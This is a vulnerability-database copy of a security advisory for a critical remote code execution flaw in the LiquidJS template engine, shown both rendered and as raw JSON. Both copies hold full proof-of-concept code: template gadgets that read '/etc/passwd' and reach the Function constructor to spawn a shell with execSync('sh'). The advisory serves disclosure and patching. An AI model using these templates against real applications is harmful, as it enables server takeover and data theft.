Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    GHSA-GF2Q-C269-PQGC

    Vulnerability from github – Published: 2026-05-27 18:24 – Updated: 2026-05-27 18:24
    VLAI
    Summary
    LiquidJS is Vulnerable to Remote Code Execution
    Details

    Summary

    It is possible to execute arbitrary code with crafted templates

    Details

    `1|valueOf` -> `this` when evaluating the filter
    {%assign r=1|valueOf%}
    {{r|inspect}}
    
    {"context":{"scopes":[{"r":"[Circular]"}],"registers":{},"breakCalled":false,"continueCalled":false,"sync":false,"opts":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"globals":{},"environments":{},"strictVariables":false,"ownPropertyOnly":true,"memoryLimit":{"base":0,"message":"memory alloc limit exceeded","limit":null},"renderLimit":{"base":0,"message":"template render limit exceeded","limit":null}},"token":{"kind":32,"input":"{%assign r=1|valueOf%}\n{{r|inspect}}","begin":13,"end":20,"name":"valueOf","args":[]},"liquid":{"renderer":{},"filters":{"raw":{"raw":true}},"tags":{},"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null},"parser":{"liquid":"[Circular]","fs":{"sep":"/"},"loader":{"options":{"root":["."],"layouts":["."],"partials":["."],"relativeReference":true,"jekyllInclude":false,"keyValueSeparator":":","extname":"","fs":{"sep":"/"},"dynamicPartials":true,"jsTruthy":false,"dateFormat":"%A, %B %-e, %Y at %-l:%M %P %z","locale":"en-US","trimTagRight":false,"trimTagLeft":false,"trimOutputRight":false,"trimOutputLeft":false,"greedy":true,"tagDelimiterLeft":"{%","tagDelimiterRight":"%}","outputDelimiterLeft":"{{","outputDelimiterRight":"}}","preserveTimezones":false,"strictFilters":false,"strictVariables":false,"ownPropertyOnly":true,"lenientIf":false,"globals":{},"keepOutputType":false,"operators":{},"memoryLimit":null,"parseLimit":null,"renderLimit":null}},"parseLimit":{"base":0,"message":"parse length limit exceeded","limit":null}}}}
    
    function calls with a controlled first argument via comprable
    import { Liquid } from "liquidjs";
    
    const engine = new Liquid();
    
    const storeFn = (dst, src) => {
      const parts = src.split(".");
      const path = parts.slice(0, -1).join(".");
      const prop = parts.at(-1);
    
      return `
    {% assign _g = ${path}|group_by:"0"%}
    {% assign _gs = _g | where:n,"${prop}"|first%}
    {% assign ${dst} = _gs.items | first | last %}`;
    };
    
    const tpl = `
    {% liquid
    assign r = 1|valueOf
    assign m = r.context.scopes|first
    assign fs = r.liquid.options.fs
    assign n = "name"%}
    
    ${storeFn("equals", "fs.readFileSync")}
    ${storeFn("gt", "fs.readFileSync")}
    ${storeFn("geq", "fs.readFileSync")}
    ${storeFn("lt", "fs.readFileSync")}
    ${storeFn("leq", "fs.readFileSync")}
    
    {{m == "/etc/passwd"}}
    `;
    
    const v = await engine.parseAndRender(tpl, {});
    console.log(v.trim());
    
    image changing the prototype of things
    import { Liquid } from "liquidjs";
    
    const engine = new Liquid();
    
    engine.registerFilter("log", (val) => console.dir(val, { depth: 1 }));
    
    const tpl = `
    {% liquid
    assign r = 1|valueOf
    assign m = r.context.scopes|first %}
    
    {{m|log}}
    {% assign __proto__ = r.liquid.parser %}
    {{m|log}}
    `;
    
    const v = await engine.parseAndRender(tpl, {});
    console.log(v.trim());
    
    image

    When calling functions via the comparable gadget, this will be the scope. By overwriting this.loader.lookup and this.readFile, to fully control what goes into this.parse, and while controlling this, a reference to the Function constructor can be obtained, which then allows executing arbitrary code.

      private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator<unknown, Template[], string> {
        const filepath = yield this.loader.lookup(file, type, sync, currentFile)
        return this.parse(yield this.readFile(!!sync, filepath), filepath)
      }
    

    PoC

    Complete instructions, including specific configuration details, to reproduce the vulnerability.

    import { Liquid } from "liquidjs";
    
    const engine = new Liquid();
    
    const storeFn = (dst, src) => {
      const parts = src.split(".");
      const path = parts.slice(0, -1).join(".");
      const prop = parts.at(-1);
    
      return `
    {% assign _g = ${path}|group_by:"0"%}
    {% assign _gs = _g | where:n,"${prop}"|first%}
    {% assign ${dst} = _gs.items | first | last %}`;
    };
    
    const tpl = `
    {% liquid
    assign r = 1|valueOf
    assign m = r.context.scopes|first
    assign l = r.liquid
    assign p = l.parser
    assign f = l.filters
    assign n = "name"%}
    
    ${storeFn("equals", "p.parseFile")}
    ${storeFn("gt", "p.parseFile")}
    ${storeFn("geq", "p.parseFile")}
    ${storeFn("lt", "p.parseFile")}
    ${storeFn("leq", "p.parseFile")}
    
    ${storeFn("readFile", "f.default")}
    ${storeFn("lookup", "f.raw.handler")}
    
    {% assign loader = m %}
    {% assign context = m %}
    {% assign opts = m %}
    {% assign liquid = m %}
    {% assign options = m %}
    {% assign __proto__ = p %}
    
    {% assign tagDelimiterLeft = n %}
    {% assign tagDelimiterRight = n %}
    {% assign outputDelimiterLeft = '[' %}
    {% assign outputDelimiterRight = ']'%}
    
    {# set to some some function, so that filters['constructor'] -> Function #}
    ${storeFn("filters", "f.raw.handler")} 
    
    {# store Function #}
    {% assign output = m == "[0|constructor]" | first %}
    {% assign val = output.value.filters|first %}
    
    {# set scope.equals to Function #}
    ${storeFn("equals", "val.handler")}
    {% assign RCE = m == "return process.getBuiltinModule('child_process').execSync('sh',{stdio:'inherit'})" %}
    {{RCE}}
    `;
    
    const v = await engine.parseAndRender(tpl, {});
    console.log(v.trim());
    

    Impact

    What kind of vulnerability is it? Who is impacted? Remote Code Execution.

    Show details on source website

    {
      "affected": [
        {
          "package": {
            "ecosystem": "npm",
            "name": "liquidjs"
          },
          "ranges": [
            {
              "events": [
                {
                  "introduced": "0"
                },
                {
                  "fixed": "10.26.0"
                }
              ],
              "type": "ECOSYSTEM"
            }
          ]
        }
      ],
      "aliases": [
        "CVE-2026-45618"
      ],
      "database_specific": {
        "cwe_ids": [
          "CWE-94"
        ],
        "github_reviewed": true,
        "github_reviewed_at": "2026-05-27T18:24:14Z",
        "nvd_published_at": null,
        "severity": "CRITICAL"
      },
      "details": "### Summary\nIt is possible to execute arbitrary code with crafted templates\n\n\n### Details\n\n\u003cdetails\u003e\n\u003csummary\u003e\n `1|valueOf` -\u003e `this` when evaluating the filter\n\n\n\u003c/summary\u003e\n\n```liquid\n{%assign r=1|valueOf%}\n{{r|inspect}}\n```\n\n```json\n{\"context\":{\"scopes\":[{\"r\":\"[Circular]\"}],\"registers\":{},\"breakCalled\":false,\"continueCalled\":false,\"sync\":false,\"opts\":{\"root\":[\".\"],\"layouts\":[\".\"],\"partials\":[\".\"],\"relativeReference\":true,\"jekyllInclude\":false,\"keyValueSeparator\":\":\",\"extname\":\"\",\"fs\":{\"sep\":\"/\"},\"dynamicPartials\":true,\"jsTruthy\":false,\"dateFormat\":\"%A, %B %-e, %Y at %-l:%M %P %z\",\"locale\":\"en-US\",\"trimTagRight\":false,\"trimTagLeft\":false,\"trimOutputRight\":false,\"trimOutputLeft\":false,\"greedy\":true,\"tagDelimiterLeft\":\"{%\",\"tagDelimiterRight\":\"%}\",\"outputDelimiterLeft\":\"{{\",\"outputDelimiterRight\":\"}}\",\"preserveTimezones\":false,\"strictFilters\":false,\"strictVariables\":false,\"ownPropertyOnly\":true,\"lenientIf\":false,\"globals\":{},\"keepOutputType\":false,\"operators\":{},\"memoryLimit\":null,\"parseLimit\":null,\"renderLimit\":null},\"globals\":{},\"environments\":{},\"strictVariables\":false,\"ownPropertyOnly\":true,\"memoryLimit\":{\"base\":0,\"message\":\"memory alloc limit exceeded\",\"limit\":null},\"renderLimit\":{\"base\":0,\"message\":\"template render limit exceeded\",\"limit\":null}},\"token\":{\"kind\":32,\"input\":\"{%assign r=1|valueOf%}\\n{{r|inspect}}\",\"begin\":13,\"end\":20,\"name\":\"valueOf\",\"args\":[]},\"liquid\":{\"renderer\":{},\"filters\":{\"raw\":{\"raw\":true}},\"tags\":{},\"options\":{\"root\":[\".\"],\"layouts\":[\".\"],\"partials\":[\".\"],\"relativeReference\":true,\"jekyllInclude\":false,\"keyValueSeparator\":\":\",\"extname\":\"\",\"fs\":{\"sep\":\"/\"},\"dynamicPartials\":true,\"jsTruthy\":false,\"dateFormat\":\"%A, %B %-e, %Y at %-l:%M %P %z\",\"locale\":\"en-US\",\"trimTagRight\":false,\"trimTagLeft\":false,\"trimOutputRight\":false,\"trimOutputLeft\":false,\"greedy\":true,\"tagDelimiterLeft\":\"{%\",\"tagDelimiterRight\":\"%}\",\"outputDelimiterLeft\":\"{{\",\"outputDelimiterRight\":\"}}\",\"preserveTimezones\":false,\"strictFilters\":false,\"strictVariables\":false,\"ownPropertyOnly\":true,\"lenientIf\":false,\"globals\":{},\"keepOutputType\":false,\"operators\":{},\"memoryLimit\":null,\"parseLimit\":null,\"renderLimit\":null},\"parser\":{\"liquid\":\"[Circular]\",\"fs\":{\"sep\":\"/\"},\"loader\":{\"options\":{\"root\":[\".\"],\"layouts\":[\".\"],\"partials\":[\".\"],\"relativeReference\":true,\"jekyllInclude\":false,\"keyValueSeparator\":\":\",\"extname\":\"\",\"fs\":{\"sep\":\"/\"},\"dynamicPartials\":true,\"jsTruthy\":false,\"dateFormat\":\"%A, %B %-e, %Y at %-l:%M %P %z\",\"locale\":\"en-US\",\"trimTagRight\":false,\"trimTagLeft\":false,\"trimOutputRight\":false,\"trimOutputLeft\":false,\"greedy\":true,\"tagDelimiterLeft\":\"{%\",\"tagDelimiterRight\":\"%}\",\"outputDelimiterLeft\":\"{{\",\"outputDelimiterRight\":\"}}\",\"preserveTimezones\":false,\"strictFilters\":false,\"strictVariables\":false,\"ownPropertyOnly\":true,\"lenientIf\":false,\"globals\":{},\"keepOutputType\":false,\"operators\":{},\"memoryLimit\":null,\"parseLimit\":null,\"renderLimit\":null}},\"parseLimit\":{\"base\":0,\"message\":\"parse length limit exceeded\",\"limit\":null}}}}\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\nfunction calls with a controlled first argument via comprable\n\n\u003c/summary\u003e\n\n```js\nimport { Liquid } from \"liquidjs\";\n\nconst engine = new Liquid();\n\nconst storeFn = (dst, src) =\u003e {\n  const parts = src.split(\".\");\n  const path = parts.slice(0, -1).join(\".\");\n  const prop = parts.at(-1);\n\n  return `\n{% assign _g = ${path}|group_by:\"0\"%}\n{% assign _gs = _g | where:n,\"${prop}\"|first%}\n{% assign ${dst} = _gs.items | first | last %}`;\n};\n\nconst tpl = `\n{% liquid\nassign r = 1|valueOf\nassign m = r.context.scopes|first\nassign fs = r.liquid.options.fs\nassign n = \"name\"%}\n\n${storeFn(\"equals\", \"fs.readFileSync\")}\n${storeFn(\"gt\", \"fs.readFileSync\")}\n${storeFn(\"geq\", \"fs.readFileSync\")}\n${storeFn(\"lt\", \"fs.readFileSync\")}\n${storeFn(\"leq\", \"fs.readFileSync\")}\n\n{{m == \"/etc/passwd\"}}\n`;\n\nconst v = await engine.parseAndRender(tpl, {});\nconsole.log(v.trim());\n```\n\n\u003cimg width=\"1426\" height=\"717\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0618eb81-fb0d-4100-a6a0-556982decf8a\" /\u003e\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\u003csummary\u003echanging the prototype of things\u003c/summary\u003e\n\n```js\nimport { Liquid } from \"liquidjs\";\n\nconst engine = new Liquid();\n\nengine.registerFilter(\"log\", (val) =\u003e console.dir(val, { depth: 1 }));\n\nconst tpl = `\n{% liquid\nassign r = 1|valueOf\nassign m = r.context.scopes|first %}\n\n{{m|log}}\n{% assign __proto__ = r.liquid.parser %}\n{{m|log}}\n`;\n\nconst v = await engine.parseAndRender(tpl, {});\nconsole.log(v.trim());\n```\n\u003cimg width=\"723\" height=\"211\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c05f4c4a-4151-4765-b569-3300ad837668\" /\u003e\n\n\u003c/details\u003e \n\nWhen calling functions via the comparable gadget, `this` will be the scope.\nBy overwriting `this.loader.lookup` and `this.readFile`, to fully control what goes into `this.parse`, and while controlling `this`, a reference to the `Function` constructor can be obtained, which then allows executing arbitrary code.\n\n```ts\n  private * _parseFile (file: string, sync?: boolean, type: LookupType = LookupType.Root, currentFile?: string): Generator\u003cunknown, Template[], string\u003e {\n    const filepath = yield this.loader.lookup(file, type, sync, currentFile)\n    return this.parse(yield this.readFile(!!sync, filepath), filepath)\n  }\n```\n\n### PoC\n_Complete instructions, including specific configuration details, to reproduce the vulnerability._\n\n```js\nimport { Liquid } from \"liquidjs\";\n\nconst engine = new Liquid();\n\nconst storeFn = (dst, src) =\u003e {\n  const parts = src.split(\".\");\n  const path = parts.slice(0, -1).join(\".\");\n  const prop = parts.at(-1);\n\n  return `\n{% assign _g = ${path}|group_by:\"0\"%}\n{% assign _gs = _g | where:n,\"${prop}\"|first%}\n{% assign ${dst} = _gs.items | first | last %}`;\n};\n\nconst tpl = `\n{% liquid\nassign r = 1|valueOf\nassign m = r.context.scopes|first\nassign l = r.liquid\nassign p = l.parser\nassign f = l.filters\nassign n = \"name\"%}\n\n${storeFn(\"equals\", \"p.parseFile\")}\n${storeFn(\"gt\", \"p.parseFile\")}\n${storeFn(\"geq\", \"p.parseFile\")}\n${storeFn(\"lt\", \"p.parseFile\")}\n${storeFn(\"leq\", \"p.parseFile\")}\n\n${storeFn(\"readFile\", \"f.default\")}\n${storeFn(\"lookup\", \"f.raw.handler\")}\n\n{% assign loader = m %}\n{% assign context = m %}\n{% assign opts = m %}\n{% assign liquid = m %}\n{% assign options = m %}\n{% assign __proto__ = p %}\n\n{% assign tagDelimiterLeft = n %}\n{% assign tagDelimiterRight = n %}\n{% assign outputDelimiterLeft = \u0027[\u0027 %}\n{% assign outputDelimiterRight = \u0027]\u0027%}\n\n{# set to some some function, so that filters[\u0027constructor\u0027] -\u003e Function #}\n${storeFn(\"filters\", \"f.raw.handler\")} \n\n{# store Function #}\n{% assign output = m == \"[0|constructor]\" | first %}\n{% assign val = output.value.filters|first %}\n\n{# set scope.equals to Function #}\n${storeFn(\"equals\", \"val.handler\")}\n{% assign RCE = m == \"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027sh\u0027,{stdio:\u0027inherit\u0027})\" %}\n{{RCE}}\n`;\n\nconst v = await engine.parseAndRender(tpl, {});\nconsole.log(v.trim());\n```\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nRemote Code Execution.",
      "id": "GHSA-gf2q-c269-pqgc",
      "modified": "2026-05-27T18:24:14Z",
      "published": "2026-05-27T18:24:14Z",
      "references": [
        {
          "type": "WEB",
          "url": "https://github.com/harttle/liquidjs/security/advisories/GHSA-gf2q-c269-pqgc"
        },
        {
          "type": "PACKAGE",
          "url": "https://github.com/harttle/liquidjs"
        },
        {
          "type": "WEB",
          "url": "https://github.com/harttle/liquidjs/releases/tag/v10.26.0"
        }
      ],
      "schema_version": "1.4.0",
      "severity": [
        {
          "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
          "type": "CVSS_V3"
        }
      ],
      "summary": "LiquidJS is Vulnerable to Remote Code Execution"
    }